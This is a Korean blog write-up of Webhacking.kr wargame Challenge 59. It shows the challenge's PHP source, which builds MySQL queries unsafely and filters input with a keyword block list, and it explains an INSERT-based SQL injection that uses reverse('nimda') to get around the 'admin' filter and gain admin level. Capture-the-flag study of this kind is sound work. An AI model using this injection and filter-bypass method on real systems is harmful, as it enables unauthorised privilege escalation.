Challenge 59

Posted by Hide­
2014.07.23 00:21 Wargame/Webhacking.kr

예전 시큐때 문제가 생각나서 비교적 쉽게 푼 문제이다.

일단 소스를 확인해보자.

 

<?

if($_POST[lid] && $_POST[lphone
])
{
$q=@mysql_fetch_array(mysql_query("select id,lv from c59 where id='$_POST[lid]' and phone='$_POST[lphone]'"
));

if(
$q[id
])
{

echo(
"id : $q[id]<br>lv : $q[lv]<br><br>"
);

if(
$q[lv]=="admin"
)
{
@
mysql_query("delete from c59"
);
@
clear
();
}

echo(
"<br><a href=index.php>back</a>"
);
exit();
}

}


if(
$_POST[id] && $_POST[phone
])
{
if(
strlen($_POST[phone])>=20) exit("Access Denied"
);
if(
eregi("admin",$_POST[id])) exit("Access Denied"
);
if(
eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])) exit("Access Denied"
);

@
mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')"
);
}

?>

lv 이 admin 이면 된다. insert 문은 insert into 테이블 values(1,1),(1,1) 이런식으로 () 를 연속으로 써줌으로써

여러개의 값을 삽입할 수 있다. 일단 id 와 phone 둘다 admin 이란 문자열과 # 주석처리를 쓸 수 없다.

id부분에는 nimda  phone 부분에는 1,reverse(id)),(a,a 를 넣어 쿼리를 날려보자.

쿼리는 아래와 같이 날라갈것이다.

 

insert into c59 values('nimda',1,reverse(id)),(a,a,'guest')

 

이와 같은 쿼리를 날리게 되면 서버에는 nimda 라는 아이디와 a 라는 아이디가 동시에 insert 된다.

reverse(id) 를 통해 nimda 를 거꾸로 반전시켜줌으로써 admin 을 만들었다.

해당 아이디와 암호로 로그인 해보면 Clear

 



다른 사람들이 많이 읽은 글

'Wargame > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr All Clear  (4) 2014.07.26
Challenge 59  (0) 2014.07.23
Challenge 50  (0) 2014.07.22
Challenge 13  (0) 2014.06.15
Challenge 57  (0) 2014.06.12
Challenge 45  (0) 2014.06.12
이 댓글을 비밀 댓글로

티스토리 툴바